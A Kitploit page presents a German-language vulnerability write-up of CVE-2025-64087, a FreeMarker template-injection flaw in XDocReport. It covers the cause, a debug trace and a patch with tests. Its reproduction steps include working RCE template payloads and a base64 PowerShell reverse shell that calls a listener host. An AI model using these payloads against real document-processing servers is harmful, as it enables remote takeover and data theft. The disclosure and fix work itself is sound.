Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
CVE-2025-64087-SSTI- — CVE-2025-64087 (SSTI) | Kitploit
Tools/GitHubGitHub/at190510-cuong/cve-2025-64087-ssti-
SchwachstellenanalyseCode-AnalyseExploitationWebanwendungs-ExploitationLernen & BildungPayload-Entwicklung
GitHubat190510-cuong/cve-2025-64087-ssti-

CVE-2025-64087-SSTI-

CVE-2025-64087 (SSTI)

Repository anzeigen
11vor 6 MonatenNoch nicht geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

CVE-2025-64087 (SSTI FreeMarker)

Server-Side Template Injection (SSTI) in XDocReport ermöglicht Remote Code Execution über die Apache FreeMarker-Engine

Beschreibung der Schwachstelle

Überblick über die Schwachstelle

  • Server-Side Template Injection (SSTI) ist eine Websicherheitslücke, die es Angreifern ermöglicht, schädlichen Code in Vorlagen (Templates) einzuschleusen, die von Content-Management-Systemen (CMS) und Web-Frameworks verwendet werden. Dadurch können entfernte Angriffe durchgeführt, sensible Informationen abgerufen oder Systemeinfälle ausgeführt werden.

  • SSTI ist eine Variante von Injection-Schwachstellen (wie SQL Injection, XSS usw.), bei der Angreifer die Verwendung von Template-Systemen ausnutzen, um Remote-Code auszuführen. Bei erfolgreicher SSTI-Attacke kann der Angreifer eigenen Code auf dem Server ausführen, was ihm ermöglicht, entfernte Angriffe durchzuführen, wie das Sammeln sensibler Daten, das Ausführen von Systemeinfällen und den Zugriff auf nicht autorisierte Ressourcen.

  • SSTI-Schwachstellen entstehen häufig durch die Verwendung unsicherer Template-Systeme oder durch fehlende Prüfung und Verarbeitung von Eingabeparametern, bevor diese in Vorlagen eingefügt werden. Im Erfolgsfall kann eine SSTI-Attacke schwerwiegende Folgen haben und der betroffenen Organisation großen Schaden zufügen.

Auswirkungen auf das Geschäft

  • Die SSTI-Schwachstelle kann verschiedene schwerwiegende Konsequenzen haben, darunter:

  • Ausführung von Schadcode: Angreifer können diese Schwachstelle nutzen, um Schadcode auf dem Server auszuführen, was Datendiebstahl, illegale Aktionen im System und sogar die vollständige Kontrolle über den Server ermöglicht.

Tool herunterladen
  • Offenlegung sensibler Informationen: SSTI kann es Angreifern erlauben, Dateien auf dem Server zu lesen, zu ändern oder zu löschen. Wenn diese Dateien sensible Informationen wie Konten und Passwörter enthalten, können Angreifer diese leicht offenlegen.

  • Droh- oder Phishing-Angriffe auf Benutzer: Angreifer können SSTI verwenden, um Droh- oder Phishing-Angriffe durchzuführen, indem sie den Inhalt der Website ändern oder gefälschte benutzerdefinierte Schaltflächen hinzufügen. Wenn Benutzer auf diese Schaltflächen klicken, können Angreifer ihre Daten stehlen oder Schadsoftware auf ihren Computern installieren.

  • Schweregrad: KRITISCH

    image

    Beschreibung und Auswirkungen

    Eine Server-Side Template Injection (SSTI)-Schwachstelle wurde in OpenSAGRES XDocReport bei der Verarbeitung von DOCX-Vorlagen mit der FreeMarker-Engine gefunden. Unter bestimmten Konfigurationen können präparierte Vorlagen zu Remote Code Execution (RCE) führen.

    Die Personalverwaltungswebsite erlaubt Benutzern das Hochladen von .docx-Dokumenten. Während der Verarbeitung verwendet die Anwendung die FreeMarker-Template-Engine (in der Datei FreemarkerTemplateEngine.java), um Inhalte wie ${"freemarker.template.utility.Execute"?new()("whoami")} zu rendern, ohne Kontrollmechanismen oder Filterung der Eingabeinhalte. Diese Schwachstelle ermöglicht es Angreifern, schädliche Ausdrücke in die .docx-Datei (Vorlage) einzuschleusen, was zu Remote Code Execution (RCE) auf dem Server führt und zur Informationsdiebstahl oder Systemübernahme ausgenutzt werden kann.

    Betroffene Komponente

    fr.opensagres.xdocreport.template.freemarker — XDocReport (Versionen 1.0.0 bis 2.1.0).

    Ursachenanalyse

    • In der Datei https://github.com/opensagres/xdocreport/blob/master/template/fr.opensagres.xdocreport.template.freemarker/src/main/java/fr/opensagres/xdocreport/template/freemarker/FreemarkerTemplateEngine.java wird der Inhalt der eingegebenen XDoc-Datei nicht überprüft. Der Vorlageninhalt wird direkt geladen und an process(context, writer, template) zur Verarbeitung durch die FreeMarker-Engine übergeben, ohne Sandboxing-Mechanismus oder Einschränkung von Direktiven/Ausdrücken. Folglich kann ein Angreifer eine Vorlage mit schädlichen FreeMarker-Ausdrücken/-Befehlen bereitstellen, was zu Remote Code Execution (RCE) führt.

    image

    Reproduktionsschritte

    1. Der Benutzer lädt eine .docx-Datei hoch, deren Inhalt aus folgendem Payload besteht:``` ${"freemarker.template.utility.Execute"?new()("calc")}
    root@kitploit:~
    ![image](https://assets.kitploit.com/production/public/readmes/placeholders/f0fc86cfe65f76d40e15aaec61704ec8220a56dc89d4be03c46f67cb31b9fa8c.svg)
    
    2. Es zeigt sich, dass die Ausführung erfolgreich ist und die Calc-Anwendung geöffnet wird.
    
    ![image](https://assets.kitploit.com/production/public/readmes/placeholders/f0fc86cfe65f76d40e15aaec61704ec8220a56dc89d4be03c46f67cb31b9fa8c.svg)
    
    3. Analog dazu, um die Informationen des auf dem System laufenden Benutzers mit dem Payload zu erhalten:```
    ${"freemarker.template.utility.Execute"?new()("whoami")}
    

    image

    image

    1. Es ist ersichtlich, dass die .docx-Datei nach der Verarbeitung durch die Template-Engine Systemdaten zurückgegeben hat.

    image

    1. Analog mit dem folgenden Payload:``` ${"freemarker.template.utility.Execute"?new()("cmd /c dir d:")}
    root@kitploit:~
    ![image](https://assets.kitploit.com/production/public/readmes/placeholders/f0fc86cfe65f76d40e15aaec61704ec8220a56dc89d4be03c46f67cb31b9fa8c.svg)
    
    ![image](https://assets.kitploit.com/production/public/readmes/placeholders/f0fc86cfe65f76d40e15aaec61704ec8220a56dc89d4be03c46f67cb31b9fa8c.svg)
    
    ![image](https://assets.kitploit.com/production/public/readmes/placeholders/f0fc86cfe65f76d40e15aaec61704ec8220a56dc89d4be03c46f67cb31b9fa8c.svg)
    
    6. Impact auf RCE erhöhen
    
    - Der Listening-Host ist wsl mit der IP-Adresse `172.26.208.130`
    
    ![image](https://assets.kitploit.com/production/public/readmes/placeholders/f0fc86cfe65f76d40e15aaec61704ec8220a56dc89d4be03c46f67cb31b9fa8c.svg)
    
    - Ausnutzung mit folgendem Payload:
    
    ![image](https://assets.kitploit.com/production/public/readmes/placeholders/f0fc86cfe65f76d40e15aaec61704ec8220a56dc89d4be03c46f67cb31b9fa8c.svg)```java
    ${"freemarker.template.utility.Execute"?new()("powershell -e JABjAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFMAbwBjAGsAZQB0AHMALgBUAEMAUABDAGwAaQBlAG4AdAAoACIAMQA3ADIALgAyADYALgAyADAAOAAuADEAMwAwACIALAA5ADkAOQA5ACkAOwAkAHMAdAByAGUAYQBtACAAPQAgACQAYwBsAGkAZQBuAHQALgBHAGUAdABTAHQAcgBlAGEAbQAoACkAOwBbAGIAeQB0AGUAWwBdAF0AJABiAHkAdABlAHMAIAA9ACAAMAAuAC4ANgA1ADUAMwA1AHwAJQB7ADAAfQA7AHcAaABpAGwAZQAoACgAJABpACAAPQAgACQAcwB0AHIAZQBhAG0ALgBSAGUAYQBkACgAJABiAHkAdABlAHMALAAgADAALAAgACQAYgB5AHQAZQBzAC4ATABlAG4AZwB0AGgAKQApACAALQBuAGUAIAAwACkAewA7ACQAZABhAHQAYQAgAD0AIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIAAtAFQAeQBwAGUATgBhAG0AZQAgAFMAeQBzAHQAZQBtAC4AVABlAHgAdAAuAEEAUwBDAEkASQBFAG4AYwBvAGQAaQBuAGcAKQAuAEcAZQB0AFMAdAByAGkAbgBnACgAJABiAHkAdABlAHMALAAwACwAIAAkAGkAKQA7ACQAcwBlAG4AZABiAGEAYwBrACAAPQAgACgAaQBlAHgAIAAkAGQAYQB0AGEAIAAyAD4AJgAxACAAfAAgAE8AdQB0AC0AUwB0AHIAaQBuAGcAIAApADsAJABzAGUAbgBkAGIAYQBjAGsAMgAgAD0AIAAkAHMAZQBuAGQAYgBhAGMAawAgACsAIAAiAFAAUwAgACIAIAArACAAKABwAHcAZAApAC4AUABhAHQAaAAgACsAIAAiAD4AIAAiADsAJABzAGUAbgBkAGIAeQB0AGUAIAA9ACAAKABbAHQAZQB4AHQALgBlAG4AYwBvAGQAaQBuAGcAXQA6ADoAQQBTAEMASQBJACkALgBHAGUAdABCAHkAdABlAHMAKAAkAHMAZQBuAGQAYgBhAGMAawAyACkAOwAkAHMAdAByAGUAYQBtAC4AVwByAGkAdABlACgAJABzAGUAbgBkAGIAeQB0AGUALAAwACwAJABzAGUAbgBkAGIAeQB0AGUALgBMAGUAbgBnAHQAaAApADsAJABzAHQAcgBlAGEAbQAuAEYAbAB1AHMAaAAoACkAfQA7ACQAYwBsAGkAZQBuAHQALgBDAGwAbwBzAGUAKAApAA==")}
    

    image

    • Übergabe der .docx-Datei an xdocreport zur Verarbeitung

    image

    • Shell-Rückkehr auf dem WSL-Rechner wurde erfasst

    image

    Lösung

    Reflection-Ausführung blockieren (sicherste Methode, aber Build derzeit fehlerhaft)

    • In der Datei xdocreport\template\fr.opensagres.xdocreport.template.freemarker\src\main\java\fr\opensagres\xdocreport\template\freemarker\FreemarkerTemplateEngine.java folgende Inhalte hinzufügen

    image

    image

    Mein Fix erlaubt weiterhin die normale Darstellung von Objekten und Eigenschaften wie ${cuong.name} und blockiert nur die GEFÄHRLICHEN Built-in-Funktionen

    • Alle SSTI-Payloads werden blockiert:
      • ${'freemarker.template.utility.Execute'?new()('calc')} - BLOCKIERT durch ALLOWS_NOTHING_RESOLVER
      • ${'java.lang.Runtime'?api.getRuntime()} - BLOCKIERT durch setAPIBuiltinEnabled(false)
      • Alle anderen Payloads, die ?new() und ?api verwenden, werden blockiert

    Eingabe validieren

    1. Hauptdatei - FreemarkerTemplateEngine.java

    Pfad: template/fr.opensagres.xdocreport.template.freemarker/src/main/java/fr/opensagres/xdocreport/template/freemarker/FreemarkerTemplateEngine.java

    Änderungen:

    • ✅ Import hinzugefügt: java.util.regex.Pattern
      image

    • ✅ Methode validateTemplateSecurity(Reader reader) hinzugefügt — Validiert gefährliche Muster
      image

    • ✅ processNoCache() aktualisiert — Validierung vor der Template-Erstellung hinzugefügt
      image

    • ✅ process(String templateName, …) aktualisiert — Validierung für diese Methode hinzugefügt
      image

    2. Testdatei - FreemarkerTemplateEngineSecurityTestCase.java

    Pfad: template/fr.opensagres.xdocreport.template.freemarker/src/test/java/fr/opensagres/xdocreport/template/freemarker/FreemarkerTemplateEngineSecurityTestCase.java

    Änderungen:

    • ✅ Neuen Testfall erstellt — Testet gängige SSTI-Payloads
    • ✅ Getesteter Haupt-Payload: ${"freemarker.template.utility.Execute"?new()("whoami")}
    • ✅ Zusätzlich getestete Muster: ?new, java.lang.Runtime, java.lang.ProcessBuilder, usw.
    • ✅ Sicherer Template-Test — Stellt sicher, dass normale Templates weiterhin funktionieren

    Zusammenfassung der Änderungen

    DateiÄnderungstypZweck
    FreemarkerTemplateEngine.javaGeändertSSTI-Schutz hinzugefügt
    FreemarkerTemplateEngineSecurityTestCase.javaNeue DateiTestet Validierungslogik

    Endgültiger Fix

    • https://github.com/opensagres/xdocreport/pull/705

    image

    image

    Im Patch 2.2.0 wurde der Schutzmechanismus aktiviert und SSTI erfolgreich unterbunden

    image

    Referenzen

    • https://portswigger.net/web-security/server-side-template-injection

    Einrichtung der Debug-Umgebung

    image

    • In der Datei Main.java```java package org.example;

    import fr.opensagres.xdocreport.document.IXDocReport; import fr.opensagres.xdocreport.document.registry.XDocReportRegistry; import fr.opensagres.xdocreport.template.IContext; import fr.opensagres.xdocreport.template.TemplateEngineKind;

    import java.io.*; import java.io.File; import java.io.FileInputStream; import java.io.FileOutputStream; import java.io.InputStream; import java.io.OutputStream;

    public class Main {

    root@kitploit:~
    public static void main(String[] args) {
        try {
            // Đọc file đầu vào chứa biểu thức Velocity
            File docxTemplate = new File("C:\\Users\\HP\\Downloads\\vcspentest.docx"); // File đầu vào
            InputStream input = new FileInputStream(docxTemplate);
    
            // Load template sử dụng FreeMarker
            IXDocReport report = XDocReportRegistry.getRegistry().loadReport(input, TemplateEngineKind.Freemarker);
    
            // Tạo context - có thể để trống nếu chỉ test biểu thức độc lập
            IContext context = report.createContext();
    
            // Xuất ra file mới
            OutputStream out = new FileOutputStream(new File("C:\\Users\\HP\\Downloads\\results.docx"));
            report.process(context, out);
    
            System.out.println("✅ Đã tạo file result.docx thành công.");
        } catch (Exception e) {
            System.err.println("❌ Lỗi xử lý file:");
            e.printStackTrace();
        }
    }
    

    }

    root@kitploit:~
    - Zu importierende Bibliothek```xml
    <?xml version="1.0" encoding="UTF-8"?>
    <project xmlns="http://maven.apache.org/POM/4.0.0"
             xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
             xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd">
        <modelVersion>4.0.0</modelVersion>
    
        <groupId>org.example</groupId>
        <artifactId>vcs1</artifactId>
        <version>1.0-SNAPSHOT</version>
    
        <properties>
            <maven.compiler.source>18</maven.compiler.source>
            <maven.compiler.target>18</maven.compiler.target>
            <project.build.sourceEncoding>UTF-8</project.build.sourceEncoding>
        </properties>
    
        <dependencies>
            <!-- Template engine: FreeMarker -->
            <dependency>
                <groupId>fr.opensagres.xdocreport</groupId>
                <artifactId>fr.opensagres.xdocreport.template.freemarker</artifactId>
                <version>2.1.0</version>
            </dependency>
    
            <dependency>
                <groupId>fr.opensagres.xdocreport</groupId>
                <artifactId>fr.opensagres.xdocreport.document.docx</artifactId>
                <version>2.0.3</version>
            </dependency>
        </dependencies>
    </project>
    

    A Einstiegspunkte (entry points / sources)```java File docxTemplate = new File("C:\Users\HP\Downloads\vcspentest.docx");

    root@kitploit:~
    → die Quelle ist diese DOCX-Datei — wenn die Datei vom Benutzer hochgeladen/geschrieben wird, ist der Inhalt der Vorlage darin (FreeMarker-Syntax) nicht vertrauenswürdige Daten.```
    InputStream input = new FileInputStream(docxTemplate);
    

    → Dateiinhalt lesen, um an XDocReport weiterzuleiten.```java IXDocReport report = XDocReportRegistry.getRegistry().loadReport(input, TemplateEngineKind.Freemarker);

    root@kitploit:~
    - loadReport(...) wird die DOCX-Datei analysieren (parsen), den Eintrag/das Template in der DOCX suchen und ein IXDocReport erstellen (es initialisiert darin das FreeMarker-Template-Objekt oder behält den Reader für das Template).
    
    - Der Template-Inhalt in der DOCX-Datei befindet sich nun im Report-Objekt (noch nicht ausgeführt).
    
    ![image](https://assets.kitploit.com/production/public/readmes/placeholders/f0fc86cfe65f76d40e15aaec61704ec8220a56dc89d4be03c46f67cb31b9fa8c.svg)
    
    ![image](https://assets.kitploit.com/production/public/readmes/placeholders/f0fc86cfe65f76d40e15aaec61704ec8220a56dc89d4be03c46f67cb31b9fa8c.svg)
    
    zipInputStream.getNextEntry() iteriert über jeden Eintrag (jede Datei) innerhalb der ZIP (.docx).
    
    archive = new XDocArchive(...) — falls noch kein Archive vorhanden ist, wird ein Objekt initialisiert, um die Einträge des Dokuments zu organisieren/registrieren.
    
    ![image](https://assets.kitploit.com/production/public/readmes/placeholders/f0fc86cfe65f76d40e15aaec61704ec8220a56dc89d4be03c46f67cb31b9fa8c.svg)
    
    Zusammenfassung: Dieser Abschnitt entpackt den DOCX-Inhalt in eine interne Struktur (XDocArchive), damit später auf die Unterdateien (document.xml,...) zugegriffen werden kann.```java
    private IXDocReport loadReport( InputStream sourceStream, String reportId, String templateEngineKind,
                                        ITemplateEngine templateEngine, boolean cacheReport )
            throws IOException, XDocReportException
        {
            initializeIfNeeded();
            // 2) zip was loaded, create an instance of report
            IXDocReport report = createReport( sourceStream );
            // 3) Update the report id if need.
            if ( StringUtils.isEmpty( reportId ) )
            {
                reportId = report.toString();
            }
            report.setId( reportId );
            // 4) Search or set the template engine.
            if ( templateEngine == null && StringUtils.isNotEmpty( templateEngineKind ) )
            {
                // Template engine was not forced.
                // Search template engine
                String documentKind = report.getKind();
                templateEngine =
                    TemplateEngineInitializerRegistry.getRegistry().getTemplateEngine( templateEngineKind, documentKind );
                if ( templateEngine == null )
                {
                    templateEngine =
                        TemplateEngineInitializerRegistry.getRegistry().getTemplateEngine( templateEngineKind, null );
                }
            }
            report.setTemplateEngine( templateEngine );
            if ( cacheReport )
            {
                registerReport( report );
            }
            return report;
        }
    
    BướcHành độngMục đích
    1DOCX-Datei lesenUrsprüngliche Berichtsstruktur extrahieren
    2IXDocReport erstellenStellvertreter für die Vorlage
    3ID zuweisenEindeutige Verwaltung
    4Template-Engine wählenAusdrücke verarbeiten (Freemarker/Velocity)
    5Bei Bedarf cachenLeistung optimieren
    6Report zurückgebenZum Rendern der Ergebnisdatei verwenden

    image

    Kurz gesagt gibt es keinen SSTI-Prüfmechanismus bei IXDocReport report = XDocReportRegistry.getRegistry().loadReport(input, TemplateEngineKind.Freemarker);, es werden lediglich die XML-Dateien im docx geladen und ein bereits verarbeitungsbereites IXDocReport report zurückgegeben (z. B. zum Rendern, Zusammenführen von Daten …).

    image

    Bei report.process(context, out);

    image

    • Dies ist der Auslösepunkt (ausführende Senke): XDocReport ruft die entsprechende Engine (hier FreeMarker) auf, um die Vorlage mit dem Kontext zusammenzuführen und das Ergebnis nach out zu rendern.
    • Diese Methode nimmt die zuvor geladene Dokumentvorlage (z. B. .docx oder .odt) und fügt die Daten aus dem context-Objekt (meist IContext) in die Variablen der Vorlage ein.
    • Anschließend wird das fertige Dokument (mit realen Daten) gerendert und das Ergebnis in den Ausgabestrom out geschrieben, also in die Datei results.docx.

    Bei einem genaueren Blick in diese Funktion wird preprocess(...) aufgerufen, das jede XML-Einträge analysiert, den XML-Inhalt parst, ein BufferedDocument erstellt und in einen Writer schreibt (dies ist die bereits vorverarbeitete XML-Version).

    image```java public boolean preprocess( String entryName, InputStream reader, Writer writer, FieldsMetadata fieldsMetadata, IDocumentFormatter formatter, Map<String, Object> sharedContext ) throws XDocReportException, IOException { try { XMLReader xmlReader = XMLReaderFactory.createXMLReader(); BufferedDocumentContentHandler<?> contentHandler = createBufferedDocumentContentHandler( entryName, fieldsMetadata, formatter, sharedContext ); xmlReader.setContentHandler( contentHandler ); xmlReader.parse( new InputSource( reader ) ); BufferedDocument document = contentHandler.getBufferedDocument(); if ( document != null ) { document.save( writer ); // StringWriter s = new StringWriter(); // document.save( s ); // System.err.println( s ); return true; }

    root@kitploit:~
            return false;
        }
        catch ( SAXException e )
        {
            throw new XDocReportException( e );
        }
    }
    
    root@kitploit:~
    ![image](https://assets.kitploit.com/production/public/readmes/placeholders/f0fc86cfe65f76d40e15aaec61704ec8220a56dc89d4be03c46f67cb31b9fa8c.svg)
    
    danach springt es in `processNoCache()` und ruft `getReader()` auf
    ![image](https://assets.kitploit.com/production/public/readmes/placeholders/f0fc86cfe65f76d40e15aaec61704ec8220a56dc89d4be03c46f67cb31b9fa8c.svg)
    
    ![image](https://assets.kitploit.com/production/public/readmes/placeholders/f0fc86cfe65f76d40e15aaec61704ec8220a56dc89d4be03c46f67cb31b9fa8c.svg)
    
    Die Funktion `getReader()` wird verwendet, um eine Escape-Direktive um die gesamte Vorlage zu legen, um sicherzustellen, dass der Inhalt sicher verarbeitet wird (HTML-Escape, Vermeidung von Injection).
    
    ![image](https://assets.kitploit.com/production/public/readmes/placeholders/f0fc86cfe65f76d40e15aaec61704ec8220a56dc89d4be03c46f67cb31b9fa8c.svg)
    
    Originalvorlage:```xml
    <w:p>
      <w:t>Hello ${name}!</w:t>
    </w:p>
    

    Nach der Verarbeitung von getReader():```xml [#-- Hello ${name}! [/#escape][#--]]>--]

    root@kitploit:~
    Es hilft der Freemarker-Engine, sicherer zu lesen:
    
    - XML-Schutz: Escape von Sonderzeichen in XML
    - Sichere Verarbeitung: Vermeidung von Fehlern beim Parsen von Freemarker-Templates
    
    dann wird `FMParser` aufgerufen, um die Freemarker-Syntax zu analysieren
    
    ![image](https://assets.kitploit.com/production/public/readmes/placeholders/f0fc86cfe65f76d40e15aaec61704ec8220a56dc89d4be03c46f67cb31b9fa8c.svg)
    
    schließlich wird in `process()` `environment.process();` aufgerufen und die Daten gelesen```
    public void process() throws TemplateException, IOException {
            Object savedEnv = threadEnv.get();
            threadEnv.set(this);
            try {
                // Cached values from a previous execution are possibly outdated.
                clearCachedValues();
                try {
                    doAutoImportsAndIncludes(this);
                    visit(getTemplate().getRootTreeNode());
                    // It's here as we must not flush if there was an exception.
                    if (getAutoFlush()) {
                        out.flush();
                    }
                } finally {
                    // It's just to allow the GC to free memory...
                    clearCachedValues();
                }
            } finally {
                threadEnv.set(savedEnv);
            }
        }
    

    👉 Dies ist der wichtigste Schritt — das eigentliche Rendern findet statt.

    • getTemplate() gibt das geparste Template (AST) zurück.

    • getRootTreeNode() ist der Wurzelknoten des Syntaxbaums, der vom FMParser beim Parsen erstellt wird.

    • visit() ist die Kern-API von FreeMarker, die zum Durchlaufen und Rendern jedes Template-Elements verwendet wird und in freemarker.core.Environment definiert ist.

      • Trifft auf TextBlock → schreibt Text nach out.

      • Trifft auf Interpolation (z. B. ${user.name}) → sucht im dataModel, holt den Wert, schreibt ihn nach out.

      • Trifft auf #if, #list, #include, Makro → führt die entsprechende Logik aus.```java void visit(TemplateElement element) throws IOException, TemplateException { // ATTENTION: This method body is manually "inlined" into visit(TemplateElement[]); keep them in sync! pushElement(element); try { TemplateElement[] templateElementsToVisit = element.accept(this); if (templateElementsToVisit != null) { for (TemplateElement el : templateElementsToVisit) { if (el == null) { break; // Skip unused trailing buffer capacity } visit(el); } } } catch (TemplateException te) { handleTemplateException(te); } finally { popElement(); } // ATTENTION: This method body above is manually "inlined" into visit(TemplateElement[]); keep them in sync! }

    root@kitploit:~
    ![image](https://assets.kitploit.com/production/public/readmes/placeholders/f0fc86cfe65f76d40e15aaec61704ec8220a56dc89d4be03c46f67cb31b9fa8c.svg)
    
    ![image](https://assets.kitploit.com/production/public/readmes/placeholders/f0fc86cfe65f76d40e15aaec61704ec8220a56dc89d4be03c46f67cb31b9fa8c.svg)
    
    ![image](https://assets.kitploit.com/production/public/readmes/placeholders/f0fc86cfe65f76d40e15aaec61704ec8220a56dc89d4be03c46f67cb31b9fa8c.svg)
    
    Es triggert bei entryName `word/document.xml`
    
    ![image](https://assets.kitploit.com/production/public/readmes/placeholders/f0fc86cfe65f76d40e15aaec61704ec8220a56dc89d4be03c46f67cb31b9fa8c.svg)
    
    als nächstes springt es in die Funktion `accept()`
    
    ![image](https://assets.kitploit.com/production/public/readmes/placeholders/f0fc86cfe65f76d40e15aaec61704ec8220a56dc89d4be03c46f67cb31b9fa8c.svg)```java
        TemplateElement[] accept(Environment env) throws TemplateException, IOException {
            final Object moOrStr = calculateInterpolatedStringOrMarkup(env);
            final Writer out = env.getOut();
            if (moOrStr instanceof String) {
                final String s = (String) moOrStr;
                if (autoEscape) {
                    markupOutputFormat.output(s, out);
                } else {
                    out.write(s);
                }
            } else {
                final TemplateMarkupOutputModel mo = (TemplateMarkupOutputModel) moOrStr;
                final MarkupOutputFormat moOF = mo.getOutputFormat();
                // ATTENTION: Keep this logic in sync. ?esc/?noEsc's logic!
                if (moOF == outputFormat) {
                    moOF.output(mo, out);
                } else if (!outputFormat.isOutputFormatMixingAllowed()) {
                    final String srcPlainText;
                    // ATTENTION: Keep this logic in sync. ?esc/?noEsc's logic!
                    srcPlainText = moOF.getSourcePlainText(mo);
                    if (srcPlainText == null) {
                        throw new _TemplateModelException(escapedExpression,
                                "The value to print is in ", new _DelayedToString(moOF),
                                " format, which differs from the current output format, ",
                                new _DelayedToString(outputFormat), ". Format conversion wasn't possible.");
                    }
                    if (markupOutputFormat != null) {
                        markupOutputFormat.output(srcPlainText, out);
                    } else {
                        out.write(srcPlainText);
                    }
                } else if (markupOutputFormat != null) {
                    markupOutputFormat.outputForeign(mo, out);
                } else {
                    moOF.output(mo, out);
                }
            }
            return null;
        }
    

    image```java final TemplateModel eval(Environment env) throws TemplateException { try { return constantValue != null ? constantValue : _eval(env); } catch (FlowControlException | TemplateException e) { throw e; } catch (Exception e) { if (env != null && EvalUtil.shouldWrapUncheckedException(e, env)) { throw new _MiscTemplateException( this, e, env, "Expression has thrown an unchecked exception; see the cause exception."); } else if (e instanceof RuntimeException) { throw (RuntimeException) e; } else { throw new UndeclaredThrowableException(e); } } }

    root@kitploit:~
    ![image](https://assets.kitploit.com/production/public/readmes/placeholders/f0fc86cfe65f76d40e15aaec61704ec8220a56dc89d4be03c46f67cb31b9fa8c.svg)
    
    ![image](https://assets.kitploit.com/production/public/readmes/placeholders/f0fc86cfe65f76d40e15aaec61704ec8220a56dc89d4be03c46f67cb31b9fa8c.svg)
    
    ![image](https://assets.kitploit.com/production/public/readmes/placeholders/f0fc86cfe65f76d40e15aaec61704ec8220a56dc89d4be03c46f67cb31b9fa8c.svg)
    
    ![image](https://assets.kitploit.com/production/public/readmes/placeholders/f0fc86cfe65f76d40e15aaec61704ec8220a56dc89d4be03c46f67cb31b9fa8c.svg)
    
    ![image](https://assets.kitploit.com/production/public/readmes/placeholders/f0fc86cfe65f76d40e15aaec61704ec8220a56dc89d4be03c46f67cb31b9fa8c.svg)
    
    ![image](https://assets.kitploit.com/production/public/readmes/placeholders/f0fc86cfe65f76d40e15aaec61704ec8220a56dc89d4be03c46f67cb31b9fa8c.svg)
    
    ![image](https://assets.kitploit.com/production/public/readmes/placeholders/f0fc86cfe65f76d40e15aaec61704ec8220a56dc89d4be03c46f67cb31b9fa8c.svg)
    
    ![image](https://assets.kitploit.com/production/public/readmes/placeholders/f0fc86cfe65f76d40e15aaec61704ec8220a56dc89d4be03c46f67cb31b9fa8c.svg)
    
    ![image](https://assets.kitploit.com/production/public/readmes/placeholders/f0fc86cfe65f76d40e15aaec61704ec8220a56dc89d4be03c46f67cb31b9fa8c.svg)
    
    Der Ausführungsfluss in der Funktion `visit()` ist wie folgt```
    visit(Interpolation)                // gọi accept(...)
     └─ Interpolation.accept(env)
         └─ calculateInterpolatedStringOrMarkup(env)
             └─ expression.eval(env)
                 └─ (đến _eval) target.eval(env)   // trả TemplateMethodModel (built-in new()/Execute)
                     └─ targetMethod.exec(arguments)  ← exec() thực thi -> chạy `calc` ← 💥 SSTI xảy ra ở đây
    
    

    Debug-Zusammenfassung```

    [User uploads DOCX template] │ ▼ ┌──────────────────────────────────────────┐ │ XDocReportRegistry.loadReport(...) │ │ - Nhận InputStream (file .docx) │ │ - Xác định TemplateEngineKind=Freemarker│ │ - Gọi createReport(...) │ └──────────────────────────────────────────┘ │ ▼ ┌──────────────────────────────────────────┐ │ FreemarkerTemplateEngine.loadTemplate() │ │ - Gọi new Template(templateName, Reader,│ │ Configuration) │ │ - => FMParser parse nội dung template │ └──────────────────────────────────────────┘ │ ▼ ┌──────────────────────────────────────────┐ │ FMParser(this, reader, config) │ │ - Đọc nội dung file (XML trong DOCX) │ │ - Phân tích cú pháp │ │ Tạo AST (cây cú pháp): │ │ ├─ TextBlock ("Hello") │ │ ├─ DollarVariable (${name}) │ │ └─ FunctionCall (${Runtime.exec(...)})│ └──────────────────────────────────────────┘ │ ▼ ┌──────────────────────────────────────────┐ │ Environment env = │ │ template.createProcessingEnvironment() │ │ env.process() │ └──────────────────────────────────────────┘ │ ▼ ┌──────────────────────────────────────────┐ │ Environment.process() │ │ - clearCachedValues() │ │ - doAutoImportsAndIncludes() │ │ - visit(getTemplate().getRootTreeNode())│ └──────────────────────────────────────────┘ │ ▼ ┌──────────────────────────────────────────┐ │ visit(TemplateElement node) │ │ - node.accept(env) │ │ - Ghi kết quả ra writer (output stream) │ └──────────────────────────────────────────┘ │ ▼ ┌──────────────────────────────────────────┐ │ Nếu node là ${...} │ │ ⇒ ExpressionEvaluator được gọi │ │ ⇒ eval() biểu thức bên trong ${} │ │ ⇒ Có thể truy cập method Java nếu chưa │ │ bị sandbox hoặc hạn chế │ │ ⇒ Ví dụ: ${"freemarker.template.utility.Execute"?new()("calc.exe")} │ └──────────────────────────────────────────┘ │ ▼ 🚨 Kết quả: Server-Side Template Injection (SSTI)

    root@kitploit:~
    ## 🔍 **Zusammenfassung der verwertbaren Schlüsselpunkte**
    
    | Phase                   | Schicht               | Rolle                 | SSTI-Bezug                    |
    | ----------------------- | --------------------- | --------------------- | ----------------------------- |
    | `loadReport()`          | `XDocReportRegistry`  | Vorlage laden         | Keine Eingabekontrolle        |
    | `getReader()`           | `TemplateEngine`      | Vorlagendaten lesen   | Kann Payload enthalten        |
    | `FMParser`              | `freemarker.core`     | Inhalt parsen         | `${}`-Variablen werden analysiert |
    | `Environment.process()` | `freemarker.core`     | Vorlage rendern       | `visit()` für jeden Knoten    |
    | `visit()` / `eval()`    | `freemarker.core`     | Ausdruck ausführen    | **SSTI / RCE-Punkt**          |
    
    ---
    
    ## Dokumentation
    
    - https://drive.google.com/drive/folders/1XYFtxs5O3SMW0FemNMZ_1ft1ueFixhVz?usp=drive_link